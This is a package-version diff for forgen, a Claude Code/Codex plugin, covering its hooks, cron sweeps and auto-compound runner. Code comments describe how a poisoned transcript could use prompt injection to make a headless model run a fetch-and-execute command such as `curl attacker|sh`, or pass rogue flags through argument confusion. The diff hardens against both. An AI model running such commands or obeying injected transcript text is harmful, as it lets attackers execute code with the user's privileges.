@wooojin/forgen 0.5.0 → 0.5.5

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (51) hide show
  1. package/.claude-plugin/plugin.json +1 -1
  2. package/CHANGELOG.md +167 -0
  3. package/README.ja.md +12 -8
  4. package/README.ko.md +12 -8
  5. package/README.md +1 -0
  6. package/README.zh.md +12 -8
  7. package/assets/shared/hook-registry.json +210 -22
  8. package/dist/core/auto-compound-runner.js +73 -14
  9. package/dist/core/changelog-cli.d.ts +4 -1
  10. package/dist/core/changelog-cli.js +8 -7
  11. package/dist/core/compound-sweep-cli.d.ts +4 -1
  12. package/dist/core/compound-sweep-cli.js +25 -5
  13. package/dist/core/doctor.js +29 -0
  14. package/dist/core/spawn.d.ts +26 -0
  15. package/dist/core/spawn.js +38 -3
  16. package/dist/engine/compound-loop.js +20 -1
  17. package/dist/hooks/context-guard.js +7 -3
  18. package/dist/hooks/hook-config.js +5 -0
  19. package/dist/hooks/hook-registry.d.ts +6 -1
  20. package/dist/hooks/hooks-generator.js +3 -0
  21. package/dist/hooks/session-end.d.ts +34 -0
  22. package/dist/hooks/session-end.js +100 -0
  23. package/dist/hooks/session-recovery.js +18 -1
  24. package/dist/hooks/shared/hook-timing.js +6 -1
  25. package/dist/host/codex-rules-context.d.ts +25 -0
  26. package/dist/host/codex-rules-context.js +62 -0
  27. package/dist/host/exec-host.d.ts +10 -0
  28. package/dist/host/exec-host.js +13 -2
  29. package/dist/host/install-codex.d.ts +58 -0
  30. package/dist/host/install-codex.js +291 -23
  31. package/dist/host/install-orchestrator.js +10 -0
  32. package/dist/host/invoke-agent.js +1 -0
  33. package/dist/host/parity-harness.js +7 -3
  34. package/dist/host/projection.d.ts +37 -3
  35. package/dist/host/projection.js +93 -42
  36. package/dist/store/evidence-store.js +121 -57
  37. package/dist/store/rule-store.d.ts +41 -0
  38. package/dist/store/rule-store.js +77 -2
  39. package/hooks/hooks.json +13 -1
  40. package/package.json +1 -1
  41. package/plugin.json +1 -1
  42. package/skills/architecture-decision/SKILL.md +18 -0
  43. package/skills/calibrate/SKILL.md +18 -0
  44. package/skills/code-review/SKILL.md +17 -0
  45. package/skills/compound/SKILL.md +17 -0
  46. package/skills/deep-interview/SKILL.md +7 -0
  47. package/skills/docker/SKILL.md +18 -0
  48. package/skills/forge-loop/SKILL.md +23 -0
  49. package/skills/learn/SKILL.md +15 -0
  50. package/skills/retro/SKILL.md +16 -0
  51. package/skills/ship/SKILL.md +18 -0
@@ -49,7 +49,10 @@ function execClaudeRetry(args, opts) {
49
49
  const MAX_ATTEMPTS = 2;
50
50
  for (let attempt = 1; attempt <= MAX_ATTEMPTS; attempt++) {
51
51
  try {
52
- return execFileSync('claude', args, opts);
52
+ return execFileSync('claude', mod.withNestedRunClaudeArgs(args), {
53
+ ...opts,
54
+ env: { ...process.env, ...(opts.env ?? {}), ...mod.NESTED_RUN_ENV },
55
+ });
53
56
  }
54
57
  catch (e) {
55
58
  const msg = e instanceof Error ? e.message : String(e);
@@ -122,7 +125,10 @@ export async function execClaudeRetryAsync(args, opts) {
122
125
  const MAX_ATTEMPTS = 2;
123
126
  for (let attempt = 1; attempt <= MAX_ATTEMPTS; attempt++) {
124
127
  try {
125
- const { stdout } = await execFileAsync('claude', args, opts);
128
+ const { stdout } = await execFileAsync('claude', mod.withNestedRunClaudeArgs(args), {
129
+ ...opts,
130
+ env: { ...process.env, ...(opts.env ?? {}), ...mod.NESTED_RUN_ENV },
131
+ });
126
132
  return typeof stdout === 'string' ? stdout : stdout.toString();
127
133
  }
128
134
  catch (e) {
@@ -359,31 +365,84 @@ try {
359
365
  }
360
366
  }
361
367
  catch { /* ignore */ }
368
+ // 결함2 corrected fix (2026-08-19): 이전엔 모델에게 `Bash(forgen compound:*)` 도구를 주고
369
+ // forgen compound 를 "직접 실행"시켰으나, headless haiku 는 도구 호출이 근본적으로
370
+ // 불안정해(라이브 확증: 동일 조건에서 실행/미실행 1↔0 오락가락) 산출이 forgen 생애
371
+ // 통틀어 0건이었다. 이제 behavior 경로와 동일하게 — 모델은 재사용 솔루션을 텍스트로만
372
+ // 출력하고(안정적), 러너가 파싱해 forgen 을 직접 실행한다.
373
+ // 이점: (a) 모델에 Bash 도구를 아예 주지 않으므로 P1-S1 인젝션 표면 제거 — 모델 출력은
374
+ // 파싱·필터를 거쳐 execFileSync 의 *인자*로만 쓰이고 셸을 거치지 않아 임의 명령 실행 불가.
375
+ // (b) 도구 호출 신뢰성 문제 제거. (c) forgen 을 이 러너 node 의 형제 바이너리(절대경로)로
376
+ // 호출해 cron sparse PATH 에 forgen 이 없던 문제(라이브 확증)도 해소.
362
377
  const solutionPrompt = `다음은 이전 Claude Code 세션의 대화 요약입니다.
363
- 미래 세션에서 재사용할 수 있는 패턴, 해결책, 의사결정을 추출해주세요.
378
+ 미래 세션에서 재사용할 수 있는 패턴/해결책/의사결정을 추출해주세요.
379
+ 각 항목을 정확히 아래 한 줄 형식으로만 출력하세요 (다른 설명 없이, 코드블록도 불필요):
380
+ forgen compound --solution "제목" "설명 (무엇 + 왜 + 어떻게 적용)"
364
381
 
365
- 각 항목은 반드시 다음을 포함해야 합니다:
366
- - **제목**: 구체적이고 검색 가능한 이름 (예: "vitest-mock-esm-pattern", "react-state-lifting-decision")
367
- - **설명**: (1) 무엇을 했는지 (2) 왜 그렇게 했는지 (3) 어떻게 적용하는지
368
-
369
- 형식: forgen compound --solution "제목" "설명 (why + how to apply)"
382
+ - 제목: 구체적이고 검색 가능한 이름 (예: "react-high-frequency-event-raf-throttle")
383
+ - 설명: (1) 무엇을 했는지 (2) 왜 그렇게 했는지 (3) 어떻게 적용하는지
370
384
  추출할 것이 없으면 "추출할 패턴 없음"이라고만 답하세요.
371
385
  최대 3개. 피상적인 관찰(예: "TypeScript를 사용함")은 제외. 기존 솔루션과 중복 금지.${existingList}
372
386
 
373
387
  ---
374
388
  ${sanitizedSummary.slice(0, 6000)}
375
389
  ---`;
376
- // P1-S1 fix (2026-04-20): 과거에는 `--allowedTools Bash`로 전체 Bash 권한을 줘서
377
- // 악성 transcript(공급망 인젝션)가 filter를 우회해 `curl attacker|sh` 같은 명령을
378
- // 피해자 권한으로 실행시킬 수 있었다. 이제 `Bash(forgen compound:*)`로 좁혀 Claude
379
- // 가 compound 추출용 forgen CLI 호출만 가능하게 한다. filter-bypass 시에도 임의
380
- // 명령 실행 차단.
390
+ let solutionOutput = '';
381
391
  try {
382
- extractViaHaiku(['-p', solutionPrompt, '--allowedTools', 'Bash(forgen compound:*)', '--model', COMPOUND_MODEL], { cwd, timeout: 90_000, stdio: ['pipe', 'ignore', 'pipe'] });
392
+ solutionOutput = extractViaHaiku(['-p', solutionPrompt, '--model', COMPOUND_MODEL], { cwd, timeout: 90_000, encoding: 'utf-8' }) || '';
383
393
  }
384
394
  catch (e) {
385
395
  process.stderr.write(`[forgen-auto-compound] solution extraction: ${e instanceof Error ? e.message : String(e)}\n`);
386
396
  }
397
+ // 모델 출력에서 `--solution "제목" "설명"` 을 파싱해 forgen 을 직접 실행(결정론적).
398
+ // forgen 은 이 러너를 돌리는 node 의 형제 바이너리를 절대경로로 호출 — sparse PATH 의존 제거.
399
+ const nodeBinDir = path.dirname(process.execPath);
400
+ const forgenBin = fs.existsSync(path.join(nodeBinDir, 'forgen'))
401
+ ? path.join(nodeBinDir, 'forgen')
402
+ : 'forgen';
403
+ const solutionArgRe = /--solution\s+"((?:[^"\\]|\\.)+)"\s+"((?:[^"\\]|\\.)+)"/g;
404
+ let match;
405
+ let extractedCount = 0;
406
+ // biome-ignore lint/suspicious/noAssignInExpressions: regex exec 루프 관용구
407
+ while ((match = solutionArgRe.exec(solutionOutput)) !== null && extractedCount < 3) {
408
+ const title = match[1].replace(/\\"/g, '"').trim();
409
+ const rawContent = match[2].replace(/\\"/g, '"').trim();
410
+ if (!title || rawContent.length < 20)
411
+ continue;
412
+ // 보안(argument confusion): title/content 는 untrusted 모델 출력이다. execFileSync
413
+ // 인자로 넘기므로 셸 인젝션은 없지만, '-' 로 시작하면 forgen 의 인자 파서가 이를
414
+ // 플래그로 오해석할 수 있다(예: 악성 title "--remove" → 삭제 분기). 정상 제목/설명은
415
+ // '-' 로 시작하지 않으므로 대시-선두 값은 스킵한다. (handleCompound 의 위치인자 파서가
416
+ // startsWith('--') 를 필터하는 것에 더해 러너에서 원천 차단.)
417
+ if (title.startsWith('-') || rawContent.startsWith('-')) {
418
+ process.stderr.write('[forgen-auto-compound] solution: dash-leading title/content, skipping (arg-confusion guard)\n');
419
+ continue;
420
+ }
421
+ // 모델 출력은 untrusted transcript 파생 — 저장 전 injection/exfil 필터(defense in depth).
422
+ if (containsPromptInjection(`${title} ${rawContent}`)) {
423
+ process.stderr.write('[forgen-auto-compound] solution: injection detected in LLM output, skipping\n');
424
+ continue;
425
+ }
426
+ const contentScan = filterSolutionContent(rawContent);
427
+ if (contentScan.verdict === 'block') {
428
+ process.stderr.write('[forgen-auto-compound] solution: content blocked by filter, skipping\n');
429
+ continue;
430
+ }
431
+ try {
432
+ // title/content 는 execFileSync 의 *인자*로만 전달 — 셸 미경유라 메타문자가 있어도
433
+ // 명령 인젝션 불가. FORGEN_HOME 등 env 는 그대로 상속되어 올바른 스토어에 기록된다.
434
+ execFileSync(forgenBin, ['compound', '--solution', title, contentScan.sanitized], {
435
+ cwd,
436
+ timeout: 20_000,
437
+ stdio: ['ignore', 'ignore', 'pipe'],
438
+ env: { ...process.env, PATH: `${nodeBinDir}${path.delimiter}${process.env.PATH ?? ''}` },
439
+ });
440
+ extractedCount++;
441
+ }
442
+ catch (e) {
443
+ process.stderr.write(`[forgen-auto-compound] solution write: ${e instanceof Error ? e.message : String(e)}\n`);
444
+ }
445
+ }
387
446
  // Post-extraction quality validation: remove files that fail lightweight gates
388
447
  const removedCount = validateSolutionFiles(solutionsBefore);
389
448
  if (removedCount > 0) {
@@ -4,4 +4,7 @@
4
4
  * Reads git log between the latest vX.Y.Z tag and HEAD, groups by
5
5
  * conventional commit type, and outputs a ready-to-paste changelog.
6
6
  */
7
- export declare function handleChangelog(): Promise<void>;
7
+ /** `opts.cwd`: git 저장소 위치 (기본 process.cwd()). 테스트 fixture 용. */
8
+ export declare function handleChangelog(opts?: {
9
+ cwd?: string;
10
+ }): Promise<void>;
@@ -14,23 +14,23 @@ const C = {
14
14
  green: isTTY ? '\x1b[32m' : '',
15
15
  yellow: isTTY ? '\x1b[33m' : '',
16
16
  };
17
- function getLatestTag() {
17
+ function getLatestTag(cwd) {
18
18
  try {
19
19
  return execFileSync('git', ['describe', '--tags', '--abbrev=0'], {
20
- encoding: 'utf-8', timeout: 5000, stdio: ['pipe', 'pipe', 'pipe'],
20
+ encoding: 'utf-8', timeout: 5000, stdio: ['pipe', 'pipe', 'pipe'], cwd,
21
21
  }).trim();
22
22
  }
23
23
  catch {
24
24
  return null;
25
25
  }
26
26
  }
27
- function getCommitsSince(tag) {
27
+ function getCommitsSince(tag, cwd) {
28
28
  try {
29
29
  const args = tag
30
30
  ? ['log', `${tag}..HEAD`, '--oneline', '--no-merges']
31
31
  : ['log', '--oneline', '--no-merges', '-30'];
32
32
  return execFileSync('git', args, {
33
- encoding: 'utf-8', timeout: 10000, stdio: ['pipe', 'pipe', 'pipe'],
33
+ encoding: 'utf-8', timeout: 10000, stdio: ['pipe', 'pipe', 'pipe'], cwd,
34
34
  }).trim().split('\n').filter(Boolean);
35
35
  }
36
36
  catch {
@@ -55,9 +55,10 @@ const TYPE_ORDER = {
55
55
  chore: { label: 'Maintenance', order: 6 },
56
56
  other: { label: 'Other', order: 7 },
57
57
  };
58
- export async function handleChangelog() {
59
- const tag = getLatestTag();
60
- const rawCommits = getCommitsSince(tag);
58
+ /** `opts.cwd`: git 저장소 위치 (기본 process.cwd()). 테스트 fixture 용. */
59
+ export async function handleChangelog(opts = {}) {
60
+ const tag = getLatestTag(opts.cwd);
61
+ const rawCommits = getCommitsSince(tag, opts.cwd);
61
62
  if (rawCommits.length === 0) {
62
63
  console.log(`\n ${C.dim}No commits since ${tag ?? 'beginning'}.${C.reset}\n`);
63
64
  return;
@@ -52,6 +52,9 @@ export interface CronOpResult {
52
52
  export declare function installCron(): CronOpResult;
53
53
  export declare function uninstallCron(): CronOpResult;
54
54
  export declare function cronStatus(): CronOpResult;
55
- /** CLI: forgen compound sweep [--dry-run|--install-cron|--uninstall-cron|--cron-status] [--window-hours N] [--stale-hours M] */
55
+ /**
56
+ * CLI: forgen compound sweep [--dry-run|--install-cron|--uninstall-cron|--cron-status]
57
+ * [--window-hours N] [--stale-hours M] [--prune-removed [--apply] [--retention-days N]]
58
+ */
56
59
  export declare function compoundSweepCli(args: string[]): void;
57
60
  export {};
@@ -17,6 +17,7 @@ import { fileURLToPath } from 'node:url';
17
17
  import { STATE_DIR } from './paths.js';
18
18
  import { runAutoCompound } from './spawn.js';
19
19
  import { createLogger } from './logger.js';
20
+ import { pruneRemovedRules } from '../store/rule-store.js';
20
21
  const log = createLogger('compound-sweep');
21
22
  export const DEFAULT_SWEEP_OPTS = {
22
23
  windowMs: 24 * 60 * 60 * 1000,
@@ -317,8 +318,15 @@ export function cronStatus() {
317
318
  return { ok: false, message: e.message };
318
319
  }
319
320
  }
320
- /** CLI: forgen compound sweep [--dry-run|--install-cron|--uninstall-cron|--cron-status] [--window-hours N] [--stale-hours M] */
321
+ /**
322
+ * CLI: forgen compound sweep [--dry-run|--install-cron|--uninstall-cron|--cron-status]
323
+ * [--window-hours N] [--stale-hours M] [--prune-removed [--apply] [--retention-days N]]
324
+ */
321
325
  export function compoundSweepCli(args) {
326
+ const num = (flag) => {
327
+ const i = args.indexOf(flag);
328
+ return i >= 0 && args[i + 1] ? Number(args[i + 1]) : undefined;
329
+ };
322
330
  // cron 관리 플래그 (상호배타 — 우선 처리)
323
331
  if (args.includes('--install-cron')) {
324
332
  const r = installCron();
@@ -333,11 +341,23 @@ export function compoundSweepCli(args) {
333
341
  console.log(`[forgen compound sweep] cron: ${cronStatus().message}`);
334
342
  return;
335
343
  }
344
+ // (D) removed 상태 rule 파일 정리. `forgen compound prune` 전용 top-level 커맨드
345
+ // 대신 sweep 을 확장한 형태로 노출 — cli.ts 라우팅(현재 `compound sweep`만 위임)을
346
+ // 건드리지 않기 위한 선택. 기본 dry-run — 실제 삭제는 --apply 명시 시에만.
347
+ if (args.includes('--prune-removed')) {
348
+ const apply = args.includes('--apply');
349
+ const retentionDays = num('--retention-days');
350
+ const r = pruneRemovedRules({
351
+ apply,
352
+ ...(retentionDays ? { retentionMs: retentionDays * 24 * 3600_000 } : {}),
353
+ });
354
+ console.log(`[forgen compound sweep --prune-removed] candidates=${r.candidates.length} ` +
355
+ (apply
356
+ ? `deleted=${r.deleted.length}`
357
+ : `(dry-run — add --apply to delete)${r.candidates.length ? ` [${r.candidates.map((id) => id.slice(0, 8)).join(', ')}]` : ''}`));
358
+ return;
359
+ }
336
360
  const dryRun = args.includes('--dry-run');
337
- const num = (flag) => {
338
- const i = args.indexOf(flag);
339
- return i >= 0 && args[i + 1] ? Number(args[i + 1]) : undefined;
340
- };
341
361
  const wh = num('--window-hours');
342
362
  const sh = num('--stale-hours');
343
363
  const r = runCompoundSweep({
@@ -52,6 +52,33 @@ function relativeTime(isoString) {
52
52
  }
53
53
  return `${diffDays}d ago`;
54
54
  }
55
+ /** ADR-014 D4 — [Codex Hooks] 섹션: hooks.json forgen 엔트리의 Codex trust 기록 대조 */
56
+ async function renderCodexHookTrust() {
57
+ try {
58
+ const codexHome = process.env.CODEX_HOME ?? path.join(os.homedir(), '.codex');
59
+ const hooksPath = path.join(codexHome, 'hooks.json');
60
+ if (!fs.existsSync(hooksPath))
61
+ return; // Codex 미설치/미등록 — 섹션 생략
62
+ const { auditCodexHookTrust } = await import('../host/install-codex.js');
63
+ // pkgRoot: dist/core/doctor.js → 두 단계 위. 어차피 FORGEN_HOOK_SCRIPT_MARKER fallback 이 있어 정확도 비의존.
64
+ const pkgRoot = path.resolve(path.dirname(fileURLToPath(import.meta.url)), '..', '..');
65
+ const t = auditCodexHookTrust({ hooksPath, configTomlPath: path.join(codexHome, 'config.toml'), pkgRoot });
66
+ console.log(' [Codex Hooks]');
67
+ if (t.total === 0) {
68
+ console.log(' △ hooks.json 에 forgen hook 없음 — forgen install codex');
69
+ }
70
+ else if (t.trusted === t.total) {
71
+ console.log(` ✓ ${t.trusted}/${t.total} forgen hooks trusted by Codex`);
72
+ }
73
+ else if (t.noStateRecorded) {
74
+ console.log(` △ ${t.total} forgen hooks registered, Codex trust 기록 없음 — codex 안에서 /hooks 로 승인 (미승인 훅은 skip 됨)`);
75
+ }
76
+ else {
77
+ console.log(` ✗ ${t.untrusted.length}/${t.total} forgen hooks untrusted (${t.untrusted.slice(0, 4).join(', ')}${t.untrusted.length > 4 ? ', …' : ''}) — codex 안에서 /hooks 로 승인`);
78
+ }
79
+ }
80
+ catch { /* fail-open */ }
81
+ }
55
82
  /** [Codex Parity] 섹션 렌더링 — ~/.forgen/state/parity-result.json 신선도 검사 */
56
83
  function renderCodexParity() {
57
84
  console.log(' [Codex Parity]');
@@ -538,6 +565,8 @@ export async function runDoctor(opts = {}) {
538
565
  console.log(' Unable to read host evidence data.');
539
566
  }
540
567
  console.log();
568
+ // [Codex Hooks] — ADR-014 D4 trust 감사
569
+ await renderCodexHookTrust();
541
570
  // [Codex Parity] — parity-result.json 신선도 검사 (v0.4.2 패턴 확장)
542
571
  renderCodexParity();
543
572
  console.log();
@@ -1,5 +1,21 @@
1
1
  import type { V1HarnessContext } from './harness.js';
2
2
  import type { RuntimeHost } from './types.js';
3
+ /**
4
+ * 사용자 메시지 수 카운트 (streaming).
5
+ *
6
+ * Audit fix #8 (2026-04-21): 이전에는 `fs.readFileSync(transcript, 'utf-8')`로
7
+ * 파일 전체를 메모리에 올렸다. 수백 MB 규모 transcript에서는 heap spike가
8
+ * 발생했고, 카운트 외엔 내용이 필요 없으니 streaming line-by-line로 충분하다.
9
+ */
10
+ /**
11
+ * 0.4.6 — claude/codex 양 schema 호환.
12
+ *
13
+ * Claude JSONL: {type: 'user' | 'queue-operation', ...}
14
+ * Codex JSONL: {type: 'response_item', payload: {role: 'user' | 'developer' | 'assistant', ...}}
15
+ *
16
+ * 단일 함수에서 둘 다 처리 — schema 자동 감지.
17
+ */
18
+ export declare function countUserMessages(transcriptPath: string): Promise<number>;
3
19
  /** runAutoCompound 결과 — sweep(무인 cron)이 실제 spawn 만 기록하도록 상태 반환. */
4
20
  export type AutoCompoundStatus = 'spawned' | 'skipped-inflight' | 'skipped-dedup' | 'failed';
5
21
  /**
@@ -22,6 +38,16 @@ export type AutoCompoundStatus = 'spawned' | 'skipped-inflight' | 'skipped-dedup
22
38
  export declare function claimAutoCompoundInflight(sessionId: string, now?: number): boolean;
23
39
  /** in-flight 슬롯 해제 (spawn 실패 시 재시도 가능하도록). */
24
40
  export declare function releaseAutoCompoundInflight(sessionId: string): void;
41
+ /**
42
+ * ~/.forgen/state/auto-compound/<sessionId>.log — 세션별 러너 로그 경로.
43
+ *
44
+ * 결함2 관측성 fix (2026-08-18): 이전엔 detached spawn 을 `stdio: 'ignore'` 로
45
+ * 실행해 러너의 stdout/stderr(진단 메시지 포함)를 통째로 버렸다. 그 결과 solution
46
+ * extraction 이 98/98 sweep 에서 `extractedSolutions=0` 을 기록해도 원인을 알 방법이
47
+ * 없었다(완전 무음 실패). 이제 fd 를 파일로 열어 넘겨 러너의 모든 출력을 세션별
48
+ * 로그로 남긴다 — 다음 실패 모드를 디버그 가능하게 만드는 전제 조건.
49
+ */
50
+ export declare function autoCompoundLogPath(sessionId: string): string;
25
51
  export declare function runAutoCompound(cwd: string, transcriptPath: string, sessionId: string, promptCount?: number): AutoCompoundStatus;
26
52
  /**
27
53
  * Plan B-1: 세션 transcript 사후 스캔으로 rate-limit 감지.
@@ -112,7 +112,7 @@ function findSessionTranscript(cwd, sessionStartMs, preSnapshot, runtime = 'clau
112
112
  *
113
113
  * 단일 함수에서 둘 다 처리 — schema 자동 감지.
114
114
  */
115
- async function countUserMessages(transcriptPath) {
115
+ export async function countUserMessages(transcriptPath) {
116
116
  const { createInterface } = await import('node:readline');
117
117
  const stream = fs.createReadStream(transcriptPath, { encoding: 'utf-8' });
118
118
  const rl = createInterface({ input: stream, crlfDelay: Infinity });
@@ -300,6 +300,18 @@ export function releaseAutoCompoundInflight(sessionId) {
300
300
  /* noop */
301
301
  }
302
302
  }
303
+ /**
304
+ * ~/.forgen/state/auto-compound/<sessionId>.log — 세션별 러너 로그 경로.
305
+ *
306
+ * 결함2 관측성 fix (2026-08-18): 이전엔 detached spawn 을 `stdio: 'ignore'` 로
307
+ * 실행해 러너의 stdout/stderr(진단 메시지 포함)를 통째로 버렸다. 그 결과 solution
308
+ * extraction 이 98/98 sweep 에서 `extractedSolutions=0` 을 기록해도 원인을 알 방법이
309
+ * 없었다(완전 무음 실패). 이제 fd 를 파일로 열어 넘겨 러너의 모든 출력을 세션별
310
+ * 로그로 남긴다 — 다음 실패 모드를 디버그 가능하게 만드는 전제 조건.
311
+ */
312
+ export function autoCompoundLogPath(sessionId) {
313
+ return path.join(STATE_DIR, 'auto-compound', `${sessionId.replace(/[^a-zA-Z0-9_-]/g, '_')}.log`);
314
+ }
303
315
  export function runAutoCompound(cwd, transcriptPath, sessionId, promptCount = 0) {
304
316
  const now = Date.now();
305
317
  // 1. 완료 마커 cooldown (secondary, 단일슬롯 — 값싼 read 먼저).
@@ -322,17 +334,40 @@ export function runAutoCompound(cwd, transcriptPath, sessionId, promptCount = 0)
322
334
  return 'skipped-inflight';
323
335
  }
324
336
  const runnerPath = path.join(path.dirname(fileURLToPath(import.meta.url)), 'auto-compound-runner.js');
337
+ // 로그 파일 fd 열기 — 실패(디스크 문제 등)해도 fail-open 으로 'ignore' 폴백.
338
+ const logPath = autoCompoundLogPath(sessionId);
339
+ let logFd;
325
340
  try {
326
- const child = spawn('node', [runnerPath, cwd, transcriptPath, sessionId, String(promptCount)], {
341
+ fs.mkdirSync(path.dirname(logPath), { recursive: true });
342
+ logFd = fs.openSync(logPath, 'a');
343
+ }
344
+ catch (e) {
345
+ log.debug('auto-compound 로그 파일 열기 실패 — stdio ignore로 폴백', e);
346
+ }
347
+ try {
348
+ // 결함2 corrected fix (2026-08-19): 리터럴 'node' 대신 process.execPath 로 spawn.
349
+ // 실 cron 은 절대 nvm node 경로로 sweep 를 돌리는데, 러너를 'node' 로 spawn 하면
350
+ // cron sparse PATH 의 /bin/node 로 해석돼 러너의 process.execPath 가 달라지고,
351
+ // 러너가 forgen(nvm 형제 바이너리)을 절대경로로 못 찾아 solution write 가 ENOENT 로
352
+ // 실패한다. execPath 를 물려주면 러너가 sweep 과 같은 node(=forgen 형제)를 상속한다.
353
+ const child = spawn(process.execPath, [runnerPath, cwd, transcriptPath, sessionId, String(promptCount)], {
327
354
  cwd,
328
355
  detached: true,
329
- stdio: 'ignore',
356
+ stdio: logFd !== undefined ? ['ignore', logFd, logFd] : 'ignore',
330
357
  });
331
358
  child.unref();
359
+ if (logFd !== undefined)
360
+ fs.closeSync(logFd); // child가 dup — 부모 측 fd는 닫아도 안전
332
361
  console.log('\n[forgen] 세션 분석을 백그라운드로 시작했습니다 (자동 compound) — 결과는 다음 세션 시작 시 반영됩니다.\n');
333
362
  return 'spawned';
334
363
  }
335
364
  catch (e) {
365
+ if (logFd !== undefined) {
366
+ try {
367
+ fs.closeSync(logFd);
368
+ }
369
+ catch { /* noop */ }
370
+ }
336
371
  log.debug('auto-compound 시작 실패', e);
337
372
  releaseAutoCompoundInflight(sessionId); // spawn 실패 시 표식 제거 → 재시도 가능
338
373
  return 'failed';
@@ -210,6 +210,17 @@ export async function handleCompound(args) {
210
210
  `);
211
211
  return;
212
212
  }
213
+ // --- manual add (defense-in-depth, 2026-08-20) ---
214
+ // manual add(--solution/--rule/--convention/--pattern)를 아래 서브커맨드 dispatch 보다
215
+ // 먼저 처리한다. dispatch 는 args.includes('remove'|'clean-stale'|...) 로 전체 인자를
216
+ // 스캔하므로, add 의 위치인자(title/content)에 그런 토큰이 섞이면 삭제·정리 분기를
217
+ // 탈취할 수 있다(argument confusion — auto-compound 러너가 untrusted 모델 출력을 넘기던
218
+ // 경로에서 실증). type flag 는 add 전용이라 우선 처리해도 legit 동작 불변이며, 이렇게
219
+ // 하면 title/content 가 dispatch 스캔에 아예 닿지 않는다. (러너측 대시-선두 가드에 더한 2중 방어)
220
+ if (['--solution', '--rule', '--convention', '--pattern'].some(f => args.includes(f))) {
221
+ await handleManualAdd(args, cwd, scope);
222
+ return;
223
+ }
213
224
  // --- export command ---
214
225
  // 통짜 tar.gz export(플래그만, positional 없음) vs 이름 지정 패턴 export를
215
226
  // positional 인자 유무로 구분한다. `compound export foo` = 패턴 export,
@@ -435,10 +446,18 @@ export async function handleCompound(args) {
435
446
  console.log(' Unknown compound arguments. Run `forgen compound --help` for usage.\n');
436
447
  return;
437
448
  }
449
+ await handleManualAdd(args, cwd, scope);
450
+ }
451
+ /**
452
+ * 수동 인사이트 추가 (--solution/--rule/--convention/--pattern).
453
+ * handleCompound 에서 두 경로로 호출된다:
454
+ * (1) hoisted early-dispatch — type flag 가 있으면 서브커맨드 스캔 전에 즉시(arg-confusion 방어).
455
+ * (2) fallthrough — type flag 없이 다른 known flag(예: --to)만 있는 legacy 경로(동작 보존).
456
+ */
457
+ async function handleManualAdd(args, cwd, scope) {
438
458
  console.log('\n Compound Loop — Accumulating insights\n');
439
459
  console.log(` Scope: ${scope.summary}`);
440
460
  console.log();
441
- // 수동 인사이트 추가
442
461
  const type = args.includes('--solution') ? 'solution'
443
462
  : args.includes('--rule') ? 'rule'
444
463
  : args.includes('--convention') ? 'convention'
@@ -221,8 +221,12 @@ export async function main() {
221
221
  return;
222
222
  }
223
223
  const sessionId = input.session_id ?? 'default';
224
- // Stop 훅: stop_hook_type이 있으면 처리
225
- if (input.stop_hook_type) {
224
+ // Stop 훅 판별. Claude 는 `stop_hook_type`(user|end_turn|…) 을 주지만 Codex 의 Stop 입력에는 그 필드가
225
+ // 없고 `hook_event_name:"Stop"` 만 온다 (0.5.5 — 이전엔 Codex 세션에서 Stop 분기 전체가 건너뛰어져
226
+ // finalizeSession / Stop 트리거 auto-compound / rate-limit 감지가 돌지 않았다). Codex 의 정상 턴 종료는
227
+ // end_turn 과 동치로 취급한다.
228
+ const stopType = input.stop_hook_type ?? (input.hook_event_name === 'Stop' ? 'end_turn' : undefined);
229
+ if (stopType) {
226
230
  _hookEvent = 'Stop';
227
231
  // 세션 종료 시 pending outcome을 unknown으로 finalize.
228
232
  // 과거에는 프로덕션에서 호출되지 않아 pending이 다음 세션의 flushAccept에
@@ -289,7 +293,7 @@ export async function main() {
289
293
  }
290
294
  }
291
295
  // 정상 종료 시: 의미 있는 세션이었으면 compound 안내/자동 트리거
292
- if (input.stop_hook_type === 'user' || input.stop_hook_type === 'end_turn') {
296
+ if (stopType === 'user' || stopType === 'end_turn') {
293
297
  const state = loadContextState(sessionId);
294
298
  // ADR-002 T1 — 세션 중간에 교정이 들어와도 session-scoped rule 이 me-scope 으로
295
299
  // 승급되도록 Stop 에서 직접 auto-compound-runner 를 debounced 로 트리거.
@@ -146,6 +146,11 @@ export function loadHookConfig(hookName) {
146
146
  * 4. 기본값 true (하위호환)
147
147
  */
148
148
  export function isHookEnabled(hookName) {
149
+ // -1) ADR-015 C-G1: forgen 자신이 띄운 중첩 `claude -p` 추출 실행 안에서는 모든 훅을 끈다.
150
+ // (--bare 는 OAuth 를 끊어 쓸 수 없음.) 이전엔 추출 run 마다 22개 훅이 재귀 발화해
151
+ // hook-timing / sessions / usage-telemetry 를 오염시키고 auto-compound 연쇄를 유발했다.
152
+ if (process.env.FORGEN_NESTED_RUN === '1')
153
+ return false;
149
154
  // 0) compound-core 가드레일 — config 어떤 경로로도 끌 수 없음
150
155
  if (PROTECTED_HOOKS.has(hookName))
151
156
  return true;
@@ -11,7 +11,7 @@
11
11
  * - workflow: 워크플로우 스킬 훅 (다른 플러그인 감지 시 자동 비활성)
12
12
  */
13
13
  export type HookTier = 'compound-core' | 'safety' | 'workflow';
14
- export type HookEventType = 'UserPromptSubmit' | 'SessionStart' | 'Stop' | 'PreToolUse' | 'PostToolUse' | 'PostToolUseFailure' | 'SubagentStart' | 'SubagentStop' | 'PreCompact' | 'PermissionRequest';
14
+ export type HookEventType = 'UserPromptSubmit' | 'SessionStart' | 'Stop' | 'PreToolUse' | 'PostToolUse' | 'PostToolUseFailure' | 'SubagentStart' | 'SubagentStop' | 'PreCompact' | 'PermissionRequest' | 'SessionEnd';
15
15
  export interface HookEntry {
16
16
  /** 고유 이름 (hook-config.json에서 사용) */
17
17
  name: string;
@@ -27,6 +27,11 @@ export interface HookEntry {
27
27
  timeout: number;
28
28
  /** compound 피드백 루프에 필수인 훅인지 */
29
29
  compoundCritical: boolean;
30
+ /**
31
+ * ADR-015: 이 훅을 등록할 host 목록. 생략 시 모든 host. Codex 의 hooks.json 은 바이트 동일성이
32
+ * 훅 신뢰(trust) 와 묶여 있으므로, Claude 에만 추가하는 이벤트는 `["claude"]` 로 한정한다.
33
+ */
34
+ hosts?: Array<'claude' | 'codex' | 'opencode'>;
30
35
  }
31
36
  export declare const HOOK_REGISTRY: HookEntry[];
32
37
  /** 티어별 훅 목록 조회 */
@@ -57,6 +57,9 @@ export function generateHooksJson(options) {
57
57
  const hasOtherPlugins = !releaseMode && detectInstalledPlugins(cwd).length > 0;
58
58
  // 활성 훅 필터링
59
59
  const activeHooks = HOOK_REGISTRY.filter(hook => {
